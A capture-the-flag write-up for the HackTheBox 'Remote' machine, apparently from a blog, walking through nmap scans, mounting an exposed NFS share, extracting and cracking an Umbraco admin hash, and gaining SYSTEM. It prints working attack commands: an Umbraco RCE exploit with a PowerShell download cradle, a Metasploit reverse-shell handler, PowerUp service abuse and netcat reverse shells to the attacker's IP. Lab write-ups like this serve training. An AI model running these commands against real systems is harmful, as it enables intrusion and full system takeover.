[ Remote ] - HACKTHEBOX
# Nmap 7.80 scan initiated Sat jul 18 10:21:24 2020 as: nmap -A -sV -sC -oN remote.nmap remote.htb Nmap scan report for remote.htb (10.10.10.180) Host is up (0.21s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Home - Acme Widgets 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open mountd 1-3 (RPC #100005) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=3/28%OT=21%CT=1%CU=41603%PV=Y%DS=2%DC=T%G=Y%TM=5E7F259 OS:2%P=x86_64-unknown-linux-gnu)SEQ(SP=108%GCD=1%ISR=10D%CI=I%TS=U)SEQ(SP=1 OS:08%GCD=1%ISR=10D%TS=U)SEQ(SP=108%GCD=1%ISR=10D%CI=I%II=I%TS=U)OPS(O1=M54 OS:DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS) OS:WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W= OS:FFFF%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y% OS:DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR% OS:O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80% OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q= OS:)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164% OS:UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 4m08s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-03-28T10:27:01 |_ start_date: N/A TRACEROUTE (using port 995/tcp) HOP RTT ADDRESS 1 225.12 ms 10.10.14.1 2 225.38 ms remote.htb (10.10.10.180) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat jul 18 10:23:14 2020 -- 1 IP address (1 host up) scanned in 109.92 seconds
After scanning i paid attention to rpcbind service, then i tried nmap script to get more things from that rpcbind.
# Nmap 7.80 scan initiated Sat jul 18 12:48:06 2020 as: nmap -sV --script=nfs-showmount -oN remote.nfs remote.htb
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.29s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp open rpcbind?
| nfs-showmount:
|_ /site_backups
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
| nfs-showmount:
|_ /site_backups
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat jul 18 12:50:06 2020 -- 1 IP address (1 host up) scanned in 119.88 seconds
At this time, we cannot see nfs disk named sites_backups, now we can mount it using this commands open a new terminal window and type
$ sudo mount -o nfsvers=4 -t nfs remote.htb:/site_backups /mntIt took some time to enum all file in the disk, then i saw a SDF file named Umbraco.sdf, we can try to see content from this file its to see just type strings command, and leave it aside. Just a bit enum we could find a CMS that is Umbraco and we need credentials to login in it. I thought the credentials was inside Umbraco.sdf to get the credentials type command in terminal.
strings Umbraco.sdf | grep admin
We found the strings. strings look like a
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa
{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
We may all knew that b8be16afba8c314ad33d812f22a04991b90e2aaa is a hash and the type is sha1, now decrypt this hash and we get password like baconandcheese.Now finally we have a credentials like username: admin@htb.local and password: baconandcheese. After spending some time on this machine finally i found a cve for the Umbraco.sdf. Spending some time on cve so i am going to setup a MSF console to get comfortable shell.
First create simple PS shell named mini-reverse.ps1
$ wget https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py -O umbraco_cve.py
$ chmod 775 umbraco_cve.py
$ msfconsole
> use exploit/multi/handler
> set payload payload/windows/x64/shell_reverse_tcp
> set LHOST 10.10.15.84
> set ExitOnSession false
> exploit -j
$ ./umbraco_cve.py -u admin@htb.local -p baconandcheese -i 'http://remote.htb' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.84/mini-reverse.ps1')"
$ ./umbraco_cve.py -u admin@htb.local -p baconandcheese -i 'http://remote.htb' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.84/mini-reverse.ps1')"
PS C:\users\Public> type user.txt3a48d481500c0336xxxxxxx4e5224
Now we are going to root the box by simply enumerate with some common powershell exploits and i got something interesting from github named PowerUp.ps1.
Step by Step like changing the path we can able to get the shell
PS C:\users\Public> invoke-webrequest -Uri http://10.10.15.84/PowerUp.ps1 -OutFile powerup.ps1
PS C:\users\Public> invoke-webrequest -Uri http://10.10.15.84/nc64.exe -OutFile c:\temp\nc64.exe
PS C:\users\Public> Invoke-ServiceAbuse -Name 'UsoSvc' -Command "c:\temp\nc64.exe -e cmd.exe 10.10.15.84 2222"
PS C:\users\Public> c:\temp\nc64.exe -e cmd.exe 10.10.15.84 1111
PS C:\users\Public> C:\Windows\system32>type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
b3dc833759xxxxxxxxxxxx051f05
We have another way to get into the root by exploiting the team-viewer.
Thanks for reading.


Comments
Post a Comment